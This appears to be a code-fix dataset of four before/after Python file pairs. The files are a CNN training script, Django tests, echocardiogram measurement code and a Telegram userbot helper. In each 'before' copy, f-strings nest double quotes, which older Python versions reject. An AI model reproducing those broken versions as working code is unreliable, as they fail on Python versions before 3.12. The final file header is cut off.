os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "%d" % gpu_id
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
training_time = time()
try:
score = fitness.calc(chromosome, test=args['test'], file_model='./model_acc_gpu%d.hdf5' % gpu_id,
fp=args['float_precision'], precise_mode=args['precise_mode'])
except:
score = 1
training_time = (time() - training_time) / 60.
print()
with open("%s_score" % args['gen_file'], 'w') as f:
f.write("\nScore: %0.6f" % score)
abs_ti = (time() - abs_ti) / 60.
hours = abs_ti // 60
minutes = abs_ti % 60
work_directory = os.path.split(args['gen_file'])[0]
record_file = os.path.join(work_directory, 'RECORD')
with open(record_file, 'a') as f:
f.write("-" * 40 + "\n")
f.write(f"{chromosome.__repr__()}\n")
if abs_ti > 10:
f.write("Taking too much time\n")
f.write(f"Precision:\t{args["precise_mode"]}\n")
f.write(f"Score:\t\t{score.__format__("2.4")}\n")
f.write("Training time:\t%d:%d\n" % (hours, minutes))
print("Score: %0.4f" % score)
| import argparse
from utils.utils import verify_free_gpu_memory
from utils.codifications import Chromosome, Fitness
from time import sleep, time
import os
parser = argparse.ArgumentParser(description='Train a gen of a CNN.')
parser.add_argument('-gf', '--gen_file', type=str, required=True,
help='text file who contains the genetic encoding of the CNN to train')
parser.add_argument('-ff', '--fitness_file', type=str, required=True,
help='file that contains the fitness object to use in the training and evaluating process')
parser.add_argument('-t', '--test', type=bool, default=False,
help="If use the test dataset to evaluate the model trained")
parser.add_argument('-fp', '--float_precision', type=int, default=32,
help='Bits to use in float precision. FP32 is more accurate, but FP is faster and use less memory')
parser.add_argument('-pm', '--precise_mode', type=bool, default=False,
help="Train the gen with a secondary configuration, in order to make a more precise calculation"
" of the fitness")
args = vars(parser.parse_args())
abs_ti = time()
chromosome = Chromosome.load(args['gen_file'])
print(chromosome)
fitness = Fitness.load(args['fitness_file'])
while not verify_free_gpu_memory()[0]:
sleep(3)
print("Waiting 3 seconds for a gpu...")
gpu_id = verify_free_gpu_memory()[1]
print("GPU AVAILABLE: :/GPU %d" % gpu_id)
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "%d" % gpu_id
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
training_time = time()
try:
score = fitness.calc(chromosome, test=args['test'], file_model='./model_acc_gpu%d.hdf5' % gpu_id,
fp=args['float_precision'], precise_mode=args['precise_mode'])
except:
score = 1
training_time = (time() - training_time) / 60.
print()
with open("%s_score" % args['gen_file'], 'w') as f:
f.write("\nScore: %0.6f" % score)
abs_ti = (time() - abs_ti) / 60.
hours = abs_ti // 60
minutes = abs_ti % 60
work_directory = os.path.split(args['gen_file'])[0]
record_file = os.path.join(work_directory, 'RECORD')
with open(record_file, 'a') as f:
f.write("-" * 40 + "\n")
f.write(f"{chromosome.__repr__()}\n")
if abs_ti > 10:
f.write("Taking too much time\n")
f.write(f"Precision:\t{args['precise_mode']}\n")
f.write(f"Score:\t\t{score.__format__('2.4')}\n")
f.write("Training time:\t%d:%d\n" % (hours, minutes))
print("Score: %0.4f" % score)
|
from typing import Dict, List, Union
import pytest
from zoo.repos import tasks as uut
from zoo.repos.models import Repository
from zoo.repos.zoo_yml import parse
from zoo.services.models import Environment, Service
pytestmark = pytest.mark.django_db
@pytest.fixture()
def generate_repositories(repository_factory):
repository_factory(
id=1,
remote_id=11,
name="test_proj1",
owner="john_doe1",
url="https://github.com/john_doe1/test_proj1",
provider="github",
)
def test_update_or_create_service(generate_repositories):
data = {
"type": "service",
"name": "test_proj1",
"owner": "john_doe1",
"impact": "profit",
"status": "beta",
"docs_url": "http://test_proj1/docs",
"slack_channel": "#test_proj1",
"sentry_project": "http://test_proj1/sentry",
"sonarqube_project": "http://test_proj1/sonarqube",
"pagerduty_service": "/services",
"tags": ["tag1", "tag2", "tag3"],
"environments": [
{
"name": "staging",
"dashboard_url": "http://staging.test_proj1/dashboard",
"service_urls": [
"http://staging.test_proj1/service1",
"http://staging.test_proj1/service2",
],
"health_check_url": "http://staging.test_proj1/health_check",
},
{
"name": "production",
"dashboard_url": "http://production.test_proj1/dashboard",
"service_urls": [
"http://production.test_proj1/service1",
"http://production.test_proj1/service2",
],
"health_check_url": "http://production.test_proj1/health_check",
},
],
}
proj = {"id": 11, "provider": "github"}
uut.update_or_create_service(data, proj)
service = Service.objects.filter(owner=data["owner"], name=data["name"]).first()
assert (
service is not None
), f"Service with owner: {data["owner"]} and name: {data["name"]} not found"
assert_service(service, data)
envs = Environment.objects.filter(service=service)
assert envs.count() == 2, f"Got {envs.count()} , want: 2 environments"
for env in envs.all():
expected = get_expected_env(env.name, data["environments"])
assert expected is not None
assert_environment(env, expected)
def test_update_project_from_zoo_file(mocker):
zoo_yml = """
type: service
name: test_proj1
owner: john_doe1
impact: profit
status: beta
docs_url: http://test_proj1/docs
slack_channel: "#test_proj1"
sentry_project: http://test_proj1/sentry
sonarqube_project: http://test_proj1/sonarqube
pagerduty_service: /services
tags:
- tag1
- tag2
- tag3
environments:
-
name: staging
dashboard_url: http://staging.test_proj1/dashboard
service_urls:
- http://staging.test_proj1/service1
- http://staging.test_proj1/service2
health_check_url: http://staging.test_proj1/health_check
-
name: production
dashboard_url: http://production.test_proj1/dashboard
service_urls:
- http://production.test_proj1/service1
- http://production.test_proj1/service2
health_check_url: http://production.test_proj1/health_check
"""
data = parse(zoo_yml)
m_get_zoo_file_content = mocker.patch(
"zoo.repos.tasks.get_zoo_file_content", return_value=zoo_yml
)
m_update_or_create_service = mocker.patch(
"zoo.repos.tasks.update_or_create_service", return_value=None
)
proj = {"id": 11, "provider": "github"}
uut.update_project_from_zoo_file(proj)
m_get_zoo_file_content.assert_called_once_with(proj)
m_update_or_create_service.assert_called_once_with(data, proj)
def assert_service(got: Service, expected: Dict) -> None:
assert got.owner == expected["owner"]
assert got.name == expected["name"]
assert got.impact == expected["impact"]
assert got.status == expected["status"]
assert got.docs_url == expected["docs_url"]
assert got.slack_channel == expected["slack_channel"]
assert got.sentry_project == expected["sentry_project"]
assert got.sonarqube_project == expected["sonarqube_project"]
assert got.pagerduty_service == expected["pagerduty_service"]
assert_tags(got.tags, expected["tags"])
def assert_environment(got: Environment, expected: Dict) -> None:
assert got.name == expected["name"]
assert got.dashboard_url == expected["dashboard_url"]
assert len(got.service_urls) == len(expected["service_urls"])
assert got.health_check_url == expected["health_check_url"]
def assert_tags(got: List, expected: List):
# because pre_save signal on Service
assert len(got) == len(expected)
assert sorted(got) == sorted(expected)
def get_expected_env(name: str, envs: List) -> Union[Dict, None]:
for env in envs:
if env["name"] == name:
return env
return None
| from typing import Dict, List, Union
import pytest
from zoo.repos import tasks as uut
from zoo.repos.models import Repository
from zoo.repos.zoo_yml import parse
from zoo.services.models import Environment, Service
pytestmark = pytest.mark.django_db
@pytest.fixture()
def generate_repositories(repository_factory):
repository_factory(
id=1,
remote_id=11,
name="test_proj1",
owner="john_doe1",
url="https://github.com/john_doe1/test_proj1",
provider="github",
)
def test_update_or_create_service(generate_repositories):
data = {
"type": "service",
"name": "test_proj1",
"owner": "john_doe1",
"impact": "profit",
"status": "beta",
"docs_url": "http://test_proj1/docs",
"slack_channel": "#test_proj1",
"sentry_project": "http://test_proj1/sentry",
"sonarqube_project": "http://test_proj1/sonarqube",
"pagerduty_service": "/services",
"tags": ["tag1", "tag2", "tag3"],
"environments": [
{
"name": "staging",
"dashboard_url": "http://staging.test_proj1/dashboard",
"service_urls": [
"http://staging.test_proj1/service1",
"http://staging.test_proj1/service2",
],
"health_check_url": "http://staging.test_proj1/health_check",
},
{
"name": "production",
"dashboard_url": "http://production.test_proj1/dashboard",
"service_urls": [
"http://production.test_proj1/service1",
"http://production.test_proj1/service2",
],
"health_check_url": "http://production.test_proj1/health_check",
},
],
}
proj = {"id": 11, "provider": "github"}
uut.update_or_create_service(data, proj)
service = Service.objects.filter(owner=data["owner"], name=data["name"]).first()
assert (
service is not None
), f"Service with owner: {data['owner']} and name: {data['name']} not found"
assert_service(service, data)
envs = Environment.objects.filter(service=service)
assert envs.count() == 2, f"Got {envs.count()} , want: 2 environments"
for env in envs.all():
expected = get_expected_env(env.name, data["environments"])
assert expected is not None
assert_environment(env, expected)
def test_update_project_from_zoo_file(mocker):
zoo_yml = """
type: service
name: test_proj1
owner: john_doe1
impact: profit
status: beta
docs_url: http://test_proj1/docs
slack_channel: "#test_proj1"
sentry_project: http://test_proj1/sentry
sonarqube_project: http://test_proj1/sonarqube
pagerduty_service: /services
tags:
- tag1
- tag2
- tag3
environments:
-
name: staging
dashboard_url: http://staging.test_proj1/dashboard
service_urls:
- http://staging.test_proj1/service1
- http://staging.test_proj1/service2
health_check_url: http://staging.test_proj1/health_check
-
name: production
dashboard_url: http://production.test_proj1/dashboard
service_urls:
- http://production.test_proj1/service1
- http://production.test_proj1/service2
health_check_url: http://production.test_proj1/health_check
"""
data = parse(zoo_yml)
m_get_zoo_file_content = mocker.patch(
"zoo.repos.tasks.get_zoo_file_content", return_value=zoo_yml
)
m_update_or_create_service = mocker.patch(
"zoo.repos.tasks.update_or_create_service", return_value=None
)
proj = {"id": 11, "provider": "github"}
uut.update_project_from_zoo_file(proj)
m_get_zoo_file_content.assert_called_once_with(proj)
m_update_or_create_service.assert_called_once_with(data, proj)
def assert_service(got: Service, expected: Dict) -> None:
assert got.owner == expected["owner"]
assert got.name == expected["name"]
assert got.impact == expected["impact"]
assert got.status == expected["status"]
assert got.docs_url == expected["docs_url"]
assert got.slack_channel == expected["slack_channel"]
assert got.sentry_project == expected["sentry_project"]
assert got.sonarqube_project == expected["sonarqube_project"]
assert got.pagerduty_service == expected["pagerduty_service"]
assert_tags(got.tags, expected["tags"])
def assert_environment(got: Environment, expected: Dict) -> None:
assert got.name == expected["name"]
assert got.dashboard_url == expected["dashboard_url"]
assert len(got.service_urls) == len(expected["service_urls"])
assert got.health_check_url == expected["health_check_url"]
def assert_tags(got: List, expected: List):
# because pre_save signal on Service
assert len(got) == len(expected)
assert sorted(got) == sorted(expected)
def get_expected_env(name: str, envs: List) -> Union[Dict, None]:
for env in envs:
if env["name"] == name:
return env
return None
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import yaml
from datetime import datetime
from tqdm import tqdm
from usal_echo import usr_dir
from usal_echo.d05_measurement.meas_utils import *
from usal_echo.d00_utils.log_utils import setup_logging
from usal_echo.d00_utils.db_utils import dbReadWriteSegmentation, dbReadWriteMeasurement
logger = setup_logging(__name__, __name__)
def calculate_meas(folder):
"""Write calculated volumes, ejection fractions, and recommendations.
All the functions involved were extracted and adapted from Zhang et al. code.
We compute chamber dimensions and ejection fraction from segmentations.
We rely on variation in ventricular area to identify end-systole/diastole.
We emphasize averaging over many cardiac cycles, within/across video(s).
We use all videos with the unoccluded chambers of interest.
We selected two percentiles/measurement, for multiple cycles within/across videos.
We selected first percentile based on how humans choose images: avoid min/max.
We selected second percentile to minimize auto/manual difference: default median.
"""
io_segmentation = dbReadWriteSegmentation()
io_measurement = dbReadWriteMeasurement()
# Get files in specified folder.
with open(os.path.join(usr_dir,"conf","path_parameters.yml")) as f:
paths = yaml.safe_load(f)
dicomdir = f"{os.path.expanduser(paths["dcm_dir"])}/{folder}/raw"
file_names_dcm = [
file_name.replace("_raw", "") for file_name in os.listdir(dicomdir)
]
# Initialize mapping of filename to measurement dictionary.
folder_measure_dict = {}
# Can only read a small number of segmentation rows at a time due to Numpy arrays.
step = 10
for start in tqdm(range(0, len(file_names_dcm), step)):
# Get small number of rows.
small_file_names_dcm = file_names_dcm[start : start + step]
if len(small_file_names_dcm) == 1:
small_df = io_segmentation.get_segmentation_rows_for_file(
"predictions", small_file_names_dcm[0]
)
else:
small_df = io_segmentation.get_segmentation_rows_for_files(
"predictions", tuple(small_file_names_dcm)
)
for _, row in small_df.iterrows():
# Get relevant info.
study_id = row["study_id"]
instance_id = row["instance_id"]
file_name = row["file_name"].split(".")[0]
# Calculate window.
videofile = f"{file_name}.dcm_raw"
ft, hr, nrow, ncol, x_scale, y_scale = extract_metadata_for_measurements(
dicomdir, videofile
)
window = get_window(hr, ft)
# Get back buffers.
output_np_la = row["output_np_la"]
output_np_lv = row["output_np_lv"]
# Read buffers into Numpy.
output_np_la = np.frombuffer(output_np_la, dtype="uint8")
output_np_lv = np.frombuffer(output_np_lv, dtype="uint8")
# Correct Numpy shape.
output_np_la = np.reshape(output_np_la, (-1, 384, 384))
output_np_lv = np.reshape(output_np_lv, (-1, 384, 384))
# Flip segmentations.
output_np_la = np.flipud(output_np_la)
output_np_lv = np.flipud(output_np_lv)
# Get dictionary of measurements.
la_segs = output_np_la
lv_segs = output_np_lv
video_measure_dict = compute_la_lv_volume(
dicomdir,
videofile,
hr,
ft,
window,
x_scale,
y_scale,
nrow,
ncol,
la_segs,
lv_segs,
)
video_measure_dict["study_id"] = study_id
video_measure_dict["instance_id"] = instance_id
video_measure_dict["file_name"] = file_name
folder_measure_dict[file_name] = video_measure_dict
# TODO: in future, aggregate measurements across multiple videos in a study?
# Exclude measurements from videos where LAVOL/LVEDV < 30%, in case occluded
# Percentiles: 50% for LVEDV, 25% for LVESV, 75% for LVEF, 25% for LAVOL
# Get measurement names and units for writing to a table.
# For a new measurement, you would need to specify the name and unit here.
all_measurement_names = [
"VTD(MDD-ps4)",
"VTS(MDD-ps4)",
"FE(MDD-ps4)",
"recommendation",
]
all_measurement_units = ["mL", "mL", "%", ""]
num_meas = len(all_measurement_names)
# Get relevant info for filenames that are keys in the dictionary.
file_names = list(folder_measure_dict.keys())
# Repeat the instance information for each measurement.
study_ids = np.repeat(
[folder_measure_dict[file_name]["study_id"] for file_name in file_names],
num_meas,
)
instance_ids = np.repeat(
[folder_measure_dict[file_name]["instance_id"] for file_name in file_names],
num_meas,
)
# Get list of lists, which will later be flattened.
measurement_names = [all_measurement_names for file_name in file_names]
measurement_units = [all_measurement_units for file_name in file_names]
# Get list of each measurement for all files.
lvedv_values = [folder_measure_dict[file_name]["lvedv"] for file_name in file_names]
lvesv_values = [folder_measure_dict[file_name]["lvesv"] for file_name in file_names]
ef_values = [folder_measure_dict[file_name]["ef"] for file_name in file_names]
rec_values = [
"normal"
if ef >= 60
else "abnormal"
if ef < 40
else np.nan
if np.isnan(ef)
else "greyzone"
for ef in ef_values
]
# Get one list of all measurements for all files.
measurement_values = [
list(l) for l in zip(lvedv_values, lvesv_values, ef_values, rec_values)
]
# Produce final dataframe to write to table, flattening measurement info.
date_run = datetime.now()
calculations_df = pd.DataFrame.from_dict(
{
"study_id": study_ids,
"instance_id": instance_ids,
"file_name": np.repeat(file_names, num_meas),
"date_run": date_run,
"measurement_name": pd.Series(measurement_names).explode(),
"measurement_unit": pd.Series(measurement_units).explode(),
"measurement_value": pd.Series(measurement_values).explode(),
}
)
# Write calculations to schema.
# Add serial id.
old_calculations_df = io_measurement.get_table("calculations")
start = len(old_calculations_df)
calculation_id = pd.Series(start + calculations_df.index)
calculations_df.insert(0, "calculation_id", calculation_id)
all_calculations_df = old_calculations_df.append(calculations_df)
io_measurement.save_to_db(all_calculations_df, "calculations")
logger.info("Successfully calculated measurements")
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import yaml
from datetime import datetime
from tqdm import tqdm
from usal_echo import usr_dir
from usal_echo.d05_measurement.meas_utils import *
from usal_echo.d00_utils.log_utils import setup_logging
from usal_echo.d00_utils.db_utils import dbReadWriteSegmentation, dbReadWriteMeasurement
logger = setup_logging(__name__, __name__)
def calculate_meas(folder):
"""Write calculated volumes, ejection fractions, and recommendations.
All the functions involved were extracted and adapted from Zhang et al. code.
We compute chamber dimensions and ejection fraction from segmentations.
We rely on variation in ventricular area to identify end-systole/diastole.
We emphasize averaging over many cardiac cycles, within/across video(s).
We use all videos with the unoccluded chambers of interest.
We selected two percentiles/measurement, for multiple cycles within/across videos.
We selected first percentile based on how humans choose images: avoid min/max.
We selected second percentile to minimize auto/manual difference: default median.
"""
io_segmentation = dbReadWriteSegmentation()
io_measurement = dbReadWriteMeasurement()
# Get files in specified folder.
with open(os.path.join(usr_dir,"conf","path_parameters.yml")) as f:
paths = yaml.safe_load(f)
dicomdir = f"{os.path.expanduser(paths['dcm_dir'])}/{folder}/raw"
file_names_dcm = [
file_name.replace("_raw", "") for file_name in os.listdir(dicomdir)
]
# Initialize mapping of filename to measurement dictionary.
folder_measure_dict = {}
# Can only read a small number of segmentation rows at a time due to Numpy arrays.
step = 10
for start in tqdm(range(0, len(file_names_dcm), step)):
# Get small number of rows.
small_file_names_dcm = file_names_dcm[start : start + step]
if len(small_file_names_dcm) == 1:
small_df = io_segmentation.get_segmentation_rows_for_file(
"predictions", small_file_names_dcm[0]
)
else:
small_df = io_segmentation.get_segmentation_rows_for_files(
"predictions", tuple(small_file_names_dcm)
)
for _, row in small_df.iterrows():
# Get relevant info.
study_id = row["study_id"]
instance_id = row["instance_id"]
file_name = row["file_name"].split(".")[0]
# Calculate window.
videofile = f"{file_name}.dcm_raw"
ft, hr, nrow, ncol, x_scale, y_scale = extract_metadata_for_measurements(
dicomdir, videofile
)
window = get_window(hr, ft)
# Get back buffers.
output_np_la = row["output_np_la"]
output_np_lv = row["output_np_lv"]
# Read buffers into Numpy.
output_np_la = np.frombuffer(output_np_la, dtype="uint8")
output_np_lv = np.frombuffer(output_np_lv, dtype="uint8")
# Correct Numpy shape.
output_np_la = np.reshape(output_np_la, (-1, 384, 384))
output_np_lv = np.reshape(output_np_lv, (-1, 384, 384))
# Flip segmentations.
output_np_la = np.flipud(output_np_la)
output_np_lv = np.flipud(output_np_lv)
# Get dictionary of measurements.
la_segs = output_np_la
lv_segs = output_np_lv
video_measure_dict = compute_la_lv_volume(
dicomdir,
videofile,
hr,
ft,
window,
x_scale,
y_scale,
nrow,
ncol,
la_segs,
lv_segs,
)
video_measure_dict["study_id"] = study_id
video_measure_dict["instance_id"] = instance_id
video_measure_dict["file_name"] = file_name
folder_measure_dict[file_name] = video_measure_dict
# TODO: in future, aggregate measurements across multiple videos in a study?
# Exclude measurements from videos where LAVOL/LVEDV < 30%, in case occluded
# Percentiles: 50% for LVEDV, 25% for LVESV, 75% for LVEF, 25% for LAVOL
# Get measurement names and units for writing to a table.
# For a new measurement, you would need to specify the name and unit here.
all_measurement_names = [
"VTD(MDD-ps4)",
"VTS(MDD-ps4)",
"FE(MDD-ps4)",
"recommendation",
]
all_measurement_units = ["mL", "mL", "%", ""]
num_meas = len(all_measurement_names)
# Get relevant info for filenames that are keys in the dictionary.
file_names = list(folder_measure_dict.keys())
# Repeat the instance information for each measurement.
study_ids = np.repeat(
[folder_measure_dict[file_name]["study_id"] for file_name in file_names],
num_meas,
)
instance_ids = np.repeat(
[folder_measure_dict[file_name]["instance_id"] for file_name in file_names],
num_meas,
)
# Get list of lists, which will later be flattened.
measurement_names = [all_measurement_names for file_name in file_names]
measurement_units = [all_measurement_units for file_name in file_names]
# Get list of each measurement for all files.
lvedv_values = [folder_measure_dict[file_name]["lvedv"] for file_name in file_names]
lvesv_values = [folder_measure_dict[file_name]["lvesv"] for file_name in file_names]
ef_values = [folder_measure_dict[file_name]["ef"] for file_name in file_names]
rec_values = [
"normal"
if ef >= 60
else "abnormal"
if ef < 40
else np.nan
if np.isnan(ef)
else "greyzone"
for ef in ef_values
]
# Get one list of all measurements for all files.
measurement_values = [
list(l) for l in zip(lvedv_values, lvesv_values, ef_values, rec_values)
]
# Produce final dataframe to write to table, flattening measurement info.
date_run = datetime.now()
calculations_df = pd.DataFrame.from_dict(
{
"study_id": study_ids,
"instance_id": instance_ids,
"file_name": np.repeat(file_names, num_meas),
"date_run": date_run,
"measurement_name": pd.Series(measurement_names).explode(),
"measurement_unit": pd.Series(measurement_units).explode(),
"measurement_value": pd.Series(measurement_values).explode(),
}
)
# Write calculations to schema.
# Add serial id.
old_calculations_df = io_measurement.get_table("calculations")
start = len(old_calculations_df)
calculation_id = pd.Series(start + calculations_df.index)
calculations_df.insert(0, "calculation_id", calculation_id)
all_calculations_df = old_calculations_df.append(calculations_df)
io_measurement.save_to_db(all_calculations_df, "calculations")
logger.info("Successfully calculated measurements")
|
import os
from telethon import version
from telethon.errors.rpcerrorlist import (
MediaEmptyError,
WebpageCurlFailedError,
WebpageMediaEmptyError,
)
from telethon.events import CallbackQuery
from userbot import *
from userbot import CMD_HELP, CMD_HELP_BOT
from userbot.config import Config
from userbot.helpers import *
from userbot.random_strings import *
from userbot.utils import *
from userbot.var import Config, Var
from userbot.config import Config
bot = Andencento
uptime = "dekhna jaruri hai kya"
Eiva_USER = Andencento.me.first_name
ForGo10God = Andencento.uid
Eiva_mention = f"[{Eiva_USER}](tg://user?id={ForGo10God})"
Andencento_USER = bot.me.first_name
Andencento_mention = f"[{Andencento_USER}](tg://user?id={ForGo10God})"
Andencento_logo = "./userbot/resources/andencento_logo.jpg"
cjb = "./userbot/resources/cjb.jpg"
restlo = "./userbot/resources/rest.jpeg"
shuru = "./userbot/resources/shuru.jpg"
hl = Config.HANDLER
shl = Config.SUDO_HANDLER
Andencento_ver = "0.1"
tel_ver = version.__version__
devs = DEVLIST
user_mention = Andencento_mention
async def get_user_id(ids):
if str(ids).isdigit():
userid = int(ids)
else:
userid = (await bot.get_entity(ids)).id
return userid
sudos = Config.SUDO_USERS
if sudos:
is_sudo = "True"
else:
is_sudo = "False"
abus = Config.ABUSE
if abus == "ON":
abuse_m = "Enabled"
else:
abuse_m = "Disabled"
START_TIME = datetime.datetime.now()
HANDLER = os.environ.get("HANDLER", ".")
chnl_link = "https://t.me/Andencento"
COMMAND_HAND_LER = os.environ.get("HANDLER", ".")
##########################################################################
class CmdHelp:
"""
The class I wrote to better generate command aids.
"""
FILE = ""
ORIGINAL_FILE = ""
FILE_AUTHOR = ""
IS_OFFICIAL = True
COMMANDS = {}
PREFIX = COMMAND_HAND_LER
WARNING = ""
INFO = ""
def __init__(self, file: str, official: bool = True, file_name: str = None):
self.FILE = file
self.ORIGINAL_FILE = file
self.IS_OFFICIAL = official
self.FILE_NAME = file_name if file_name is not None else file + ".py"
self.COMMANDS = {}
self.FILE_AUTHOR = ""
self.WARNING = ""
self.INFO = ""
def set_file_info(self, name: str, value: str):
if name == "name":
self.FILE = value
elif name == "author":
self.FILE_AUTHOR = value
return self
def add_command(self, command: str, params=None, usage: str = "", example=None):
"""
Inserts commands..
"""
self.COMMANDS[command] = {
"command": command,
"params": params,
"usage": usage,
"example": example,
}
return self
def add_warning(self, warning):
self.WARNING = warning
return self
def add_info(self, info):
self.INFO = info
return self
def get_result(self):
"""
Brings results.
"""
result = f"**📗 File :** `{self.FILE}`\n"
if self.WARNING == "" and self.INFO == "":
result += f"**⬇️ Official:** {"✅" if self.IS_OFFICIAL else "❌"}\n\n"
else:
result += f"**⬇️ Official:** {"✅" if self.IS_OFFICIAL else "❌"}\n"
if self.INFO == "":
if not self.WARNING == "":
result += f"**⚠️ Warning :** {self.WARNING}\n\n"
else:
if not self.WARNING == "":
result += f"**⚠️ Warning :** {self.WARNING}\n"
result += f"**ℹ️ Info:** {self.INFO}\n\n"
for command in self.COMMANDS:
command = self.COMMANDS[command]
if command["params"] is None:
result += (
f"**🛠 Command :** `{COMMAND_HAND_LER[:1]}{command["command"]}`\n"
)
else:
result += f"**🛠 Command :** `{COMMAND_HAND_LER[:1]}{command["command"]} {command["params"]}`\n"
if command["example"] is None:
result += f"**💬 Details :** `{command["usage"]}`\n\n"
else:
result += f"**💬 Details :** `{command["usage"]}`\n"
result += f"**⌨️ For Example :** `{COMMAND_HAND_LER[:1]}{command["example"]}`\n\n"
return result
def add(self):
"""
Directly adds CMD_HELP.
"""
CMD_HELP_BOT[self.FILE] = {
"info": {
"official": self.IS_OFFICIAL,
"warning": self.WARNING,
"info": self.INFO,
},
"commands": self.COMMANDS,
}
CMD_HELP[self.FILE] = self.get_result()
return True
def getText(self, text: str):
if text == "REPLY_OR_USERNAME":
return "<user name> <user name/answer >"
elif text == "OR":
return "or"
elif text == "USERNAMES":
return "<user name (s)>"
KANGING_STR = [
"Using Witchery to kang this sticker...",
"Plagiarising hehe...",
"Inviting this sticker over to my pack...",
"Kanging this sticker...",
"Hey that's a nice sticker!\nMind if I kang?!..",
"hehe me stel ur stikér\nhehe.",
"Ay look over there (☉｡☉)!→\nWhile I kang this...",
"Roses are red violets are blue, kanging this sticker so my pacc looks cool",
"Imprisoning this sticker...",
"Mr.Steal Your Sticker is stealing this sticker... ",
"Hey! That's my sticker. Lemme get it back...",
"Turn around, Go straight and f*ck off...",
]
async def bash(cmd):
process = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await process.communicate()
err = stderr.decode().strip()
out = stdout.decode().strip()
return out, err
| import os
from telethon import version
from telethon.errors.rpcerrorlist import (
MediaEmptyError,
WebpageCurlFailedError,
WebpageMediaEmptyError,
)
from telethon.events import CallbackQuery
from userbot import *
from userbot import CMD_HELP, CMD_HELP_BOT
from userbot.config import Config
from userbot.helpers import *
from userbot.random_strings import *
from userbot.utils import *
from userbot.var import Config, Var
from userbot.config import Config
bot = Andencento
uptime = "dekhna jaruri hai kya"
Eiva_USER = Andencento.me.first_name
ForGo10God = Andencento.uid
Eiva_mention = f"[{Eiva_USER}](tg://user?id={ForGo10God})"
Andencento_USER = bot.me.first_name
Andencento_mention = f"[{Andencento_USER}](tg://user?id={ForGo10God})"
Andencento_logo = "./userbot/resources/andencento_logo.jpg"
cjb = "./userbot/resources/cjb.jpg"
restlo = "./userbot/resources/rest.jpeg"
shuru = "./userbot/resources/shuru.jpg"
hl = Config.HANDLER
shl = Config.SUDO_HANDLER
Andencento_ver = "0.1"
tel_ver = version.__version__
devs = DEVLIST
user_mention = Andencento_mention
async def get_user_id(ids):
if str(ids).isdigit():
userid = int(ids)
else:
userid = (await bot.get_entity(ids)).id
return userid
sudos = Config.SUDO_USERS
if sudos:
is_sudo = "True"
else:
is_sudo = "False"
abus = Config.ABUSE
if abus == "ON":
abuse_m = "Enabled"
else:
abuse_m = "Disabled"
START_TIME = datetime.datetime.now()
HANDLER = os.environ.get("HANDLER", ".")
chnl_link = "https://t.me/Andencento"
COMMAND_HAND_LER = os.environ.get("HANDLER", ".")
##########################################################################
class CmdHelp:
"""
The class I wrote to better generate command aids.
"""
FILE = ""
ORIGINAL_FILE = ""
FILE_AUTHOR = ""
IS_OFFICIAL = True
COMMANDS = {}
PREFIX = COMMAND_HAND_LER
WARNING = ""
INFO = ""
def __init__(self, file: str, official: bool = True, file_name: str = None):
self.FILE = file
self.ORIGINAL_FILE = file
self.IS_OFFICIAL = official
self.FILE_NAME = file_name if file_name is not None else file + ".py"
self.COMMANDS = {}
self.FILE_AUTHOR = ""
self.WARNING = ""
self.INFO = ""
def set_file_info(self, name: str, value: str):
if name == "name":
self.FILE = value
elif name == "author":
self.FILE_AUTHOR = value
return self
def add_command(self, command: str, params=None, usage: str = "", example=None):
"""
Inserts commands..
"""
self.COMMANDS[command] = {
"command": command,
"params": params,
"usage": usage,
"example": example,
}
return self
def add_warning(self, warning):
self.WARNING = warning
return self
def add_info(self, info):
self.INFO = info
return self
def get_result(self):
"""
Brings results.
"""
result = f"**📗 File :** `{self.FILE}`\n"
if self.WARNING == "" and self.INFO == "":
result += f"**⬇️ Official:** {'✅' if self.IS_OFFICIAL else '❌'}\n\n"
else:
result += f"**⬇️ Official:** {'✅' if self.IS_OFFICIAL else '❌'}\n"
if self.INFO == "":
if not self.WARNING == "":
result += f"**⚠️ Warning :** {self.WARNING}\n\n"
else:
if not self.WARNING == "":
result += f"**⚠️ Warning :** {self.WARNING}\n"
result += f"**ℹ️ Info:** {self.INFO}\n\n"
for command in self.COMMANDS:
command = self.COMMANDS[command]
if command["params"] is None:
result += (
f"**🛠 Command :** `{COMMAND_HAND_LER[:1]}{command['command']}`\n"
)
else:
result += f"**🛠 Command :** `{COMMAND_HAND_LER[:1]}{command['command']} {command['params']}`\n"
if command["example"] is None:
result += f"**💬 Details :** `{command['usage']}`\n\n"
else:
result += f"**💬 Details :** `{command['usage']}`\n"
result += f"**⌨️ For Example :** `{COMMAND_HAND_LER[:1]}{command['example']}`\n\n"
return result
def add(self):
"""
Directly adds CMD_HELP.
"""
CMD_HELP_BOT[self.FILE] = {
"info": {
"official": self.IS_OFFICIAL,
"warning": self.WARNING,
"info": self.INFO,
},
"commands": self.COMMANDS,
}
CMD_HELP[self.FILE] = self.get_result()
return True
def getText(self, text: str):
if text == "REPLY_OR_USERNAME":
return "<user name> <user name/answer >"
elif text == "OR":
return "or"
elif text == "USERNAMES":
return "<user name (s)>"
KANGING_STR = [
"Using Witchery to kang this sticker...",
"Plagiarising hehe...",
"Inviting this sticker over to my pack...",
"Kanging this sticker...",
"Hey that's a nice sticker!\nMind if I kang?!..",
"hehe me stel ur stikér\nhehe.",
"Ay look over there (☉｡☉)!→\nWhile I kang this...",
"Roses are red violets are blue, kanging this sticker so my pacc looks cool",
"Imprisoning this sticker...",
"Mr.Steal Your Sticker is stealing this sticker... ",
"Hey! That's my sticker. Lemme get it back...",
"Turn around, Go straight and f*ck off...",
]
async def bash(cmd):
process = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await process.communicate()
err = stderr.decode().strip()
out = stdout.decode().strip()
return out, err
|
#!/usr/bin/python3
# Copyright 2021 Red Hat, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
